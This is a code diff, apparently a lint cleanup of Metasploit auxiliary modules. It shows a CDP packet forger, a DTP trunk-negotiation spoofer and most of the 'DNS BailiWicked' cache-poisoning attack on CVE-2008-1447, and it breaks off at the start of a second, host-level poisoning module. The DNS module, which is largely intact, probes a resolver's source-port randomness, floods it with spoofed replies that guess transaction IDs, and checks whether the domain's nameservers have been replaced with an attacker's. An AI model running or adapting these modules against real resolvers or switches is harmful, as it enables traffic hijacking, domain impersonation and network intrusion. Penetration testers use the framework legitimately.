while @run
|
||||
capture.inject(cdp_packet)
|
||||
Rex.sleep(60)
|
||||
end
|
||||
ensure
|
||||
close_pcap
|
||||
end
|
||||
|
||||
def build_cdp
|
||||
@@ -106,7 +110,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# VTP management domain
|
||||
cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN']
|
||||
# random 1000-7000 power consumption in mW
|
||||
cdp << tlv(0x10, [1000 + rand(6000)].pack('n'))
|
||||
cdp << tlv(0x10, [rand(1000..6999)].pack('n'))
|
||||
# duplex
|
||||
cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00")
|
||||
# VLAn query. TODO: figure out this field, use tlv, make configurable
|
||||
@@ -117,7 +121,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# Build and return the final packet, which is 802.3 + LLC + CDP.
|
||||
# 802.3
|
||||
PacketFu::EthHeader.mac2str("01:00:0C:CC:CC:CC") +
|
||||
PacketFu::EthHeader.mac2str('01:00:0C:CC:CC:CC') +
|
||||
PacketFu::EthHeader.mac2str(smac) +
|
||||
[cdp.length + 8].pack('n') +
|
||||
# LLC
|
||||
@@ -126,8 +130,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
cdp
|
||||
end
|
||||
|
||||
def tlv(t, v)
|
||||
[ t, v.length + 4 ].pack("nn") + v
|
||||
def tlv(type, value)
|
||||
[ type, value.length + 4 ].pack('nn') + value
|
||||
end
|
||||
|
||||
def compute_cdp_checksum(cdp)
|
||||
@@ -143,6 +147,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1
|
||||
checksum = (checksum >> 16) + (checksum & 0xffff)
|
||||
checksum = ~((checksum >> 16) + checksum) & 0xffff
|
||||
([checksum].pack("S*")).unpack("n*")[0]
|
||||
[checksum].pack('S*').unpack('n*')[0]
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,25 +6,30 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Capture
|
||||
|
||||
def initialize(info = {})
|
||||
def initialize(_info = {})
|
||||
super(
|
||||
'Name' => 'Forge Cisco DTP Packets',
|
||||
'Name' => 'Forge Cisco DTP Packets',
|
||||
'Description' => %q{
|
||||
This module forges DTP packets to initialize a trunk port.
|
||||
},
|
||||
'Author' => [ 'Spencer McIntyre' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service', 'Description' => 'Run DTP forging service' ]
|
||||
],
|
||||
'Author' => [ 'Spencer McIntyre' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
[ 'Service', { 'Description' => 'Run DTP forging service' } ]
|
||||
],
|
||||
'PassiveActions' => [ 'Service' ],
|
||||
'DefaultAction' => 'Service'
|
||||
'DefaultAction' => 'Service',
|
||||
'Notes' => {
|
||||
'Stability' => [OS_RESOURCE_LOSS],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMAC', [false, 'The spoofed mac (if unset, derived from netifaces)']),
|
||||
])
|
||||
OptString.new('SMAC', [false, 'The spoofed mac (if unset, derived from netifaces)']),
|
||||
]
|
||||
)
|
||||
deregister_options('RHOST', 'PCAPFILE')
|
||||
end
|
||||
|
||||
@@ -40,11 +45,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
p.eth_daddr = '01:00:0c:cc:cc:cc'
|
||||
p.eth_saddr = smac
|
||||
llc_hdr = "\xaa\xaa\x03\x00\x00\x0c\x20\x04"
|
||||
dtp_hdr = "\x01" # version
|
||||
dtp_hdr << "\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00" # domain
|
||||
dtp_hdr = "\x01" # version
|
||||
dtp_hdr << "\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00" # domain
|
||||
dtp_hdr << "\x00\x02\x00\x05\x03" # status
|
||||
dtp_hdr << "\x00\x03\x00\x05\x45" # dtp type
|
||||
dtp_hdr << "\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac) # neighbor
|
||||
dtp_hdr << "\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac) # neighbor
|
||||
p.eth_proto = llc_hdr.length + dtp_hdr.length
|
||||
p.payload = llc_hdr << dtp_hdr
|
||||
p
|
||||
@@ -61,23 +66,27 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
unless smac()
|
||||
print_error 'Source MAC (SMAC) should be defined'
|
||||
else
|
||||
unless is_mac? smac
|
||||
print_error "Source MAC (SMAC) `#{smac}' is badly formatted."
|
||||
else
|
||||
print_status "Starting DTP spoofing service..."
|
||||
open_pcap({'FILTER' => "ether host 01:00:0c:cc:cc:cc"})
|
||||
interface = datastore['INTERFACE'] || Pcap.lookupdev
|
||||
dtp = build_dtp_frame()
|
||||
@run = true
|
||||
while @run
|
||||
capture.inject(dtp.to_s)
|
||||
select(nil, nil, nil, 60)
|
||||
end
|
||||
close_pcap
|
||||
end
|
||||
unless smac
|
||||
print_error('Source MAC (SMAC) should be defined')
|
||||
return
|
||||
end
|
||||
|
||||
unless is_mac?(smac)
|
||||
print_error("Source MAC (SMAC) `#{smac}' is badly formatted.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status 'Starting DTP spoofing service...'
|
||||
open_pcap({ 'FILTER' => 'ether host 01:00:0c:cc:cc:cc' })
|
||||
datastore['INTERFACE'] || Pcap.lookupdev
|
||||
dtp = build_dtp_frame
|
||||
@run = true
|
||||
|
||||
while @run
|
||||
capture.inject(dtp.to_s)
|
||||
select(nil, nil, nil, 60)
|
||||
end
|
||||
|
||||
close_pcap
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
require 'net/dns'
|
||||
require 'resolv'
|
||||
|
||||
@@ -10,35 +11,41 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS BailiWicked Domain Attack',
|
||||
'Description' => %q{
|
||||
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
|
||||
Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target
|
||||
domains nameserver entries in a vulnerable DNS cache server. This attack works
|
||||
by sending random hostname queries to the target DNS server coupled with spoofed
|
||||
replies to those queries from the authoritative nameservers for that domain.
|
||||
Eventually, a guessed ID will match, the spoofed packet will get accepted, and
|
||||
the nameserver entries for the target domain will be replaced by the server
|
||||
specified in the NEWDNS option of this exploit.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'DNS BailiWicked Domain Attack',
|
||||
'Description' => %q{
|
||||
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
|
||||
Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target
|
||||
domains nameserver entries in a vulnerable DNS cache server. This attack works
|
||||
by sending random hostname queries to the target DNS server coupled with spoofed
|
||||
replies to those queries from the authoritative nameservers for that domain.
|
||||
Eventually, a guessed ID will match, the spoofed packet will get accepted, and
|
||||
the nameserver entries for the target domain will be replaced by the server
|
||||
specified in the NEWDNS option of this exploit.
|
||||
},
|
||||
'Author' => [
|
||||
'I)ruid', 'hdm',
|
||||
# Cedric figured out the NS injection method
|
||||
# and was cool enough to email us and share!
|
||||
'Cedric Blancher <sid[at]rstack.org>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2008-1447' ],
|
||||
[ 'OSVDB', '46776'],
|
||||
[ 'US-CERT-VU', '800113' ],
|
||||
[ 'URL', 'http://web.archive.org/web/20160527135835/http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
|
||||
],
|
||||
'DisclosureDate' => '2008-07-21'
|
||||
))
|
||||
'DisclosureDate' => '2008-07-21',
|
||||
'Notes' => {
|
||||
'Stability' => [SERVICE_RESOURCE_LOSS],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
@@ -48,24 +55,25 @@ class MetasploitModule < Msf::Auxiliary
|
||||
OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
|
||||
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
|
||||
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
|
||||
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
|
||||
])
|
||||
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(30000..49999)]),
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('FILTER','PCAPFILE')
|
||||
deregister_options('FILTER', 'PCAPFILE')
|
||||
end
|
||||
|
||||
def auxiliary_commands
|
||||
return {
|
||||
"racer" => "Determine the size of the window for the target server"
|
||||
'racer' => 'Determine the size of the window for the target server'
|
||||
}
|
||||
end
|
||||
|
||||
def cmd_racer(*args)
|
||||
targ = args[0] || rhost()
|
||||
dom = args[1] || "example.com"
|
||||
targ = args[0] || rhost
|
||||
dom = args[1] || 'example.com'
|
||||
|
||||
if !(targ and targ.length > 0)
|
||||
print_status("usage: racer [dns-server] [domain]")
|
||||
if !(targ && !targ.empty?)
|
||||
print_status('usage: racer [dns-server] [domain]')
|
||||
return
|
||||
end
|
||||
|
||||
@@ -81,68 +89,65 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
|
||||
random = false
|
||||
ports = {}
|
||||
lport = nil
|
||||
reps = 0
|
||||
ports = {}
|
||||
lport = nil
|
||||
reps = 0
|
||||
|
||||
1.upto(30) do |i|
|
||||
|
||||
req = Resolv::DNS::Message.new
|
||||
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
|
||||
txt = "spoofprobe-check-#{i}-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"
|
||||
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
|
||||
req.rd = 1
|
||||
|
||||
srv_sock.put(req.encode)
|
||||
res, addr = srv_sock.recvfrom(65535, 1.0)
|
||||
res, = srv_sock.recvfrom(65535, 1.0)
|
||||
|
||||
|
||||
if res and res.length > 0
|
||||
if res && !res.empty?
|
||||
reps += 1
|
||||
res = Resolv::DNS::Message.decode(res)
|
||||
res.each_answer do |name, ttl, data|
|
||||
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
|
||||
t_addr, t_port = $1.split(':')
|
||||
res.each_answer do |name, _ttl, data|
|
||||
next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)
|
||||
|
||||
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
|
||||
t_port = t_port.to_i
|
||||
if(lport and lport != t_port)
|
||||
random = true
|
||||
end
|
||||
lport = t_port
|
||||
ports[t_port] ||=0
|
||||
ports[t_port] +=1
|
||||
t_addr, t_port = ::Regexp.last_match(1).split(':')
|
||||
|
||||
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
|
||||
t_port = t_port.to_i
|
||||
if lport && (lport != t_port)
|
||||
random = true
|
||||
end
|
||||
lport = t_port
|
||||
ports[t_port] ||= 0
|
||||
ports[t_port] += 1
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if(i>5 and ports.keys.length == 0)
|
||||
if (i > 5) && ports.keys.empty?
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
srv_sock.close
|
||||
|
||||
if(ports.keys.length == 0)
|
||||
vprint_error("ERROR: This server is not replying to recursive requests")
|
||||
if ports.keys.empty?
|
||||
vprint_error('ERROR: This server is not replying to recursive requests')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if(reps < 30)
|
||||
vprint_warning("WARNING: This server did not reply to all of our requests")
|
||||
if (reps < 30)
|
||||
vprint_warning('WARNING: This server did not reply to all of our requests')
|
||||
end
|
||||
|
||||
if(random)
|
||||
if random
|
||||
ports_u = ports.keys.length
|
||||
ports_r = ((ports.keys.length/30.0)*100).to_i
|
||||
ports_r = ((ports.keys.length / 30.0) * 100).to_i
|
||||
vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
|
||||
if(ports_r != 100)
|
||||
if (ports_r != 100)
|
||||
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
|
||||
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
else
|
||||
vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
|
||||
vprint_error('FAIL: This server uses a static source port and is vulnerable to poisoning')
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
@@ -151,18 +156,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
check_pcaprub_loaded # Check first
|
||||
target = rhost()
|
||||
source = Rex::Socket.source_address(target)
|
||||
saddr = datastore['SRCADDR']
|
||||
sport = datastore['SRCPORT']
|
||||
domain = datastore['DOMAIN'] + '.'
|
||||
newdns = datastore['NEWDNS']
|
||||
recons = datastore['RECONS']
|
||||
xids = datastore['XIDS'].to_i
|
||||
newttl = datastore['TTL'].to_i
|
||||
xidbase = rand(20001) + 20000
|
||||
target = rhost
|
||||
source = Rex::Socket.source_address(target)
|
||||
saddr = datastore['SRCADDR']
|
||||
sport = datastore['SRCPORT']
|
||||
domain = datastore['DOMAIN'] + '.'
|
||||
newdns = datastore['NEWDNS']
|
||||
recons = datastore['RECONS']
|
||||
xids = datastore['XIDS'].to_i
|
||||
newttl = datastore['TTL'].to_i
|
||||
xidbase = rand(20000..40000)
|
||||
numxids = xids
|
||||
address = Rex::Text.rand_text(4).unpack("C4").join(".")
|
||||
address = Rex::Text.rand_text(4).unpack('C4').join('.')
|
||||
|
||||
srv_sock = Rex::Socket.create_udp(
|
||||
'PeerHost' => target,
|
||||
@@ -172,24 +177,24 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Get the source port via the metasploit service if it's not set
|
||||
if sport.to_i == 0
|
||||
req = Resolv::DNS::Message.new
|
||||
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
|
||||
txt = "spoofprobe-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"
|
||||
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
|
||||
req.rd = 1
|
||||
|
||||
srv_sock.put(req.encode)
|
||||
res, addr = srv_sock.recvfrom()
|
||||
res, = srv_sock.recvfrom
|
||||
|
||||
if res and res.length > 0
|
||||
if res && !res.empty?
|
||||
res = Resolv::DNS::Message.decode(res)
|
||||
res.each_answer do |name, ttl, data|
|
||||
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
|
||||
t_addr, t_port = $1.split(':')
|
||||
sport = t_port.to_i
|
||||
res.each_answer do |name, _ttl, data|
|
||||
next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)
|
||||
|
||||
print_status("Switching to target port #{sport} based on Metasploit service")
|
||||
if target != t_addr
|
||||
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
|
||||
end
|
||||
t_addr, t_port = ::Regexp.last_match(1).split(':')
|
||||
sport = t_port.to_i
|
||||
|
||||
print_status("Switching to target port #{sport} based on Metasploit service")
|
||||
if target != t_addr
|
||||
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -201,77 +206,76 @@ class MetasploitModule < Msf::Auxiliary
|
||||
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
|
||||
query.rd = 0
|
||||
|
||||
begin
|
||||
loop do
|
||||
cached = false
|
||||
srv_sock.put(query.encode)
|
||||
answer, addr = srv_sock.recvfrom()
|
||||
answer, = srv_sock.recvfrom
|
||||
|
||||
if answer and answer.length > 0
|
||||
if answer && !answer.empty?
|
||||
answer = Resolv::DNS::Message.decode(answer)
|
||||
answer.each_answer do |name, ttl, data|
|
||||
next unless ((name.to_s + '.') == domain) && (data.name.to_s == newdns)
|
||||
|
||||
if((name.to_s + ".") == domain and data.name.to_s == newdns)
|
||||
t = Time.now + ttl
|
||||
print_error("Failure: This domain is already using #{newdns} as a nameserver")
|
||||
print_error(" Cache entry expires on #{t}")
|
||||
srv_sock.close
|
||||
close_pcap
|
||||
return
|
||||
end
|
||||
t = Time.now + ttl
|
||||
print_error("Failure: This domain is already using #{newdns} as a nameserver")
|
||||
print_error(" Cache entry expires on #{t}")
|
||||
srv_sock.close
|
||||
close_pcap
|
||||
break
|
||||
end
|
||||
|
||||
end
|
||||
end until not cached
|
||||
break if !cached
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
|
||||
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
|
||||
res0 = Net::DNS::Resolver.new(nameservers: [recons], dns_search: false, recursive: true) # reconnaissance resolver
|
||||
|
||||
print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"
|
||||
|
||||
# Look up the nameservers for the domain
|
||||
print_status "Querying recon nameserver for #{domain}'s nameservers..."
|
||||
answer0 = res0.send(domain, Net::DNS::NS)
|
||||
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
|
||||
# print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
|
||||
|
||||
barbs = [] # storage for nameservers
|
||||
answer0.answer.each do |rr0|
|
||||
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
|
||||
if rr0.type == 'NS'
|
||||
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
|
||||
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
|
||||
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
|
||||
answer1.answer.each do |rr1|
|
||||
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
|
||||
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
|
||||
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
|
||||
answer2 = res2.send(domain, Net::DNS::SOA)
|
||||
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
|
||||
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
|
||||
barbs << nsrec
|
||||
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
|
||||
end
|
||||
end
|
||||
next unless rr0.type == 'NS'
|
||||
|
||||
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
|
||||
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
|
||||
# print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
|
||||
answer1.answer.each do |rr1|
|
||||
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
|
||||
res2 = Net::DNS::Resolver.new(nameservers: rr1.address, dns_search: false, recursive: false, retry: 1)
|
||||
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
|
||||
answer2 = res2.send(domain, Net::DNS::SOA)
|
||||
next unless answer2 && answer2.header.auth? && (answer2.header.anCount >= 1)
|
||||
|
||||
nsrec = { name: rr0.nsdname, addr: rr1.address }
|
||||
barbs << nsrec
|
||||
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
|
||||
end
|
||||
end
|
||||
|
||||
if barbs.length == 0
|
||||
print_status( "No DNS servers found.")
|
||||
if barbs.empty?
|
||||
print_status('No DNS servers found.')
|
||||
srv_sock.close
|
||||
close_pcap
|
||||
return
|
||||
end
|
||||
|
||||
if(xids == 0)
|
||||
print_status("Calculating the number of spoofed replies to send per query...")
|
||||
if (xids == 0)
|
||||
print_status('Calculating the number of spoofed replies to send per query...')
|
||||
qcnt = calculate_race(target, domain, 100)
|
||||
numxids = ((qcnt * 1.5) / barbs.length).to_i
|
||||
if(numxids == 0)
|
||||
print_status("The server did not reply, giving up.")
|
||||
if (numxids == 0)
|
||||
print_status('The server did not reply, giving up.')
|
||||
srv_sock.close
|
||||
close_pcap
|
||||
return
|
||||
@@ -283,12 +287,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
queries = 0
|
||||
responses = 0
|
||||
|
||||
open_pcap unless self.capture
|
||||
open_pcap unless capture
|
||||
|
||||
print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")
|
||||
print_status("Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")
|
||||
|
||||
while true
|
||||
randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname
|
||||
loop do
|
||||
randhost = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain # randomize the hostname
|
||||
|
||||
# Send spoofed query
|
||||
req = Resolv::DNS::Message.new
|
||||
@@ -299,15 +303,15 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
src_ip = source
|
||||
|
||||
if(saddr == 'Random')
|
||||
src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")
|
||||
if (saddr == 'Random')
|
||||
src_ip = Rex::Text.rand_text(4).unpack('C4').join('.')
|
||||
end
|
||||
|
||||
p = PacketFu::UDPPacket.new
|
||||
p.ip_saddr = src_ip
|
||||
p.ip_daddr = target
|
||||
p.ip_ttl = 255
|
||||
p.udp_sport = (rand((2**16)-1024)+1024).to_i
|
||||
p.udp_sport = (rand((2**16) - 1024) + 1024).to_i
|
||||
p.udp_dport = 53
|
||||
p.payload = req.encode
|
||||
p.recalc
|
||||
@@ -326,7 +330,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
p.udp_sport = 53
|
||||
p.udp_dport = sport.to_i
|
||||
|
||||
xidbase.upto(xidbase+numxids-1) do |id|
|
||||
xidbase.upto(xidbase + numxids - 1) do |id|
|
||||
req.id = id
|
||||
p.payload = req.encode
|
||||
barbs.each do |barb|
|
||||
@@ -340,12 +344,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# status update
|
||||
if queries % 1000 == 0
|
||||
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
|
||||
if(xids == 0)
|
||||
print_status("Recalculating the number of spoofed replies to send per query...")
|
||||
if (xids == 0)
|
||||
print_status('Recalculating the number of spoofed replies to send per query...')
|
||||
qcnt = calculate_race(target, domain, 25)
|
||||
numxids = ((qcnt * 1.5) / barbs.length).to_i
|
||||
if(numxids == 0)
|
||||
print_status("The server has stopped replying, giving up.")
|
||||
if (numxids == 0)
|
||||
print_status('The server has stopped replying, giving up.')
|
||||
srv_sock.close
|
||||
close_pcap
|
||||
return
|
||||
@@ -355,35 +359,33 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
# every so often, check and see if the target is poisoned...
|
||||
if queries % 250 == 0
|
||||
begin
|
||||
query = Resolv::DNS::Message.new
|
||||
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
|
||||
query.rd = 0
|
||||
next unless queries % 250 == 0
|
||||
|
||||
srv_sock.put(query.encode)
|
||||
answer, addr = srv_sock.recvfrom()
|
||||
begin
|
||||
query = Resolv::DNS::Message.new
|
||||
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
|
||||
query.rd = 0
|
||||
|
||||
if answer and answer.length > 0
|
||||
answer = Resolv::DNS::Message.decode(answer)
|
||||
answer.each_answer do |name, ttl, data|
|
||||
if((name.to_s + ".") == domain and data.name.to_s == newdns)
|
||||
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}")
|
||||
srv_sock.close
|
||||
close_pcap
|
||||
return
|
||||
end
|
||||
end
|
||||
srv_sock.put(query.encode)
|
||||
answer, = srv_sock.recvfrom
|
||||
|
||||
if answer && !answer.empty?
|
||||
answer = Resolv::DNS::Message.decode(answer)
|
||||
answer.each_answer do |name, _ttl, data|
|
||||
next unless ((name.to_s + '.') == domain) && (data.name.to_s == newdns)
|
||||
|
||||
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}")
|
||||
srv_sock.close
|
||||
close_pcap
|
||||
break
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
@@ -395,22 +397,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# a few times to account for each nameserver the cache server
|
||||
# may query for the target domain.
|
||||
#
|
||||
def calculate_race(server, domain, num=50)
|
||||
def calculate_race(server, domain, num = 50)
|
||||
cnt = 0
|
||||
|
||||
q_beg_t = nil
|
||||
q_end_t = nil
|
||||
cnt = 0
|
||||
times = []
|
||||
|
||||
times = []
|
||||
|
||||
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
|
||||
hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain
|
||||
|
||||
sock = Rex::Socket.create_udp(
|
||||
'PeerHost' => server,
|
||||
'PeerPort' => 53
|
||||
)
|
||||
|
||||
|
||||
req = Resolv::DNS::Message.new
|
||||
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
|
||||
req.rd = 1
|
||||
@@ -420,17 +418,17 @@ class MetasploitModule < Msf::Auxiliary
|
||||
sock.put(req.encode)
|
||||
req.rd = 0
|
||||
|
||||
while(times.length < num)
|
||||
res, addr = sock.recvfrom(65535, 0.01)
|
||||
while (times.length < num)
|
||||
res, = sock.recvfrom(65535, 0.01)
|
||||
|
||||
if res and res.length > 0
|
||||
if res && !res.empty?
|
||||
res = Resolv::DNS::Message.decode(res)
|
||||
|
||||
if(res.id == 1)
|
||||
if (res.id == 1)
|
||||
times << [Time.now.to_f - q_beg_t, cnt]
|
||||
cnt = 0
|
||||
|
||||
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
|
||||
hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain
|
||||
|
||||
sock.close
|
||||
sock = Rex::Socket.create_udp(
|
||||
@@ -456,23 +454,22 @@ class MetasploitModule < Msf::Auxiliary
|
||||
sock.put(req.encode)
|
||||
end
|
||||
|
||||
min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
|
||||
max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
|
||||
sum = 0
|
||||
times.each{|i| sum += i[0]}
|
||||
avg_time = ( (sum / times.length) * 100).to_i / 100.0
|
||||
min_time = (times.map { |i| i[0] }.min * 100).to_i / 100.0
|
||||
max_time = (times.map { |i| i[0] }.max * 100).to_i / 100.0
|
||||
sum = 0
|
||||
times.each { |i| sum += i[0] }
|
||||
avg_time = ((sum / times.length) * 100).to_i / 100.0
|
||||
|
||||
min_count = times.map{|i| i[1]}.min
|
||||
max_count = times.map{|i| i[1]}.max
|
||||
sum = 0
|
||||
times.each{|i| sum += i[1]}
|
||||
min_count = times.map { |i| i[1] }.min
|
||||
max_count = times.map { |i| i[1] }.max
|
||||
sum = 0
|
||||
times.each { |i| sum += i[1] }
|
||||
avg_count = sum / times.length
|
||||
|
||||
sock.close
|
||||
|
||||
print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
|
||||
|
||||
|
||||
# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
|
||||
avg_count
|
||||
end
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
require 'net/dns'
|
||||
require 'resolv'
|
||||
|
||||
@@ -10,58 +11,65 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS BailiWicked Host Attack',
|
||||
'Description' => %q{
|
||||
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
|
||||
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
|
||||
malicious host entry into the target nameserver by sending random hostname
|
||||
queries to the target DNS server coupled with spoofed replies to those
|
||||
queries from the authoritative nameservers for that domain. Eventually, a
|
||||
guessed ID will match, the spoofed packet will get accepted, and due to the
|
||||
additional hostname entry being within bailiwick constraints of the original
|
||||
request the malicious host entry will get cached.
|
||||
},
|
||||
'Author' => [ 'I)ruid', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
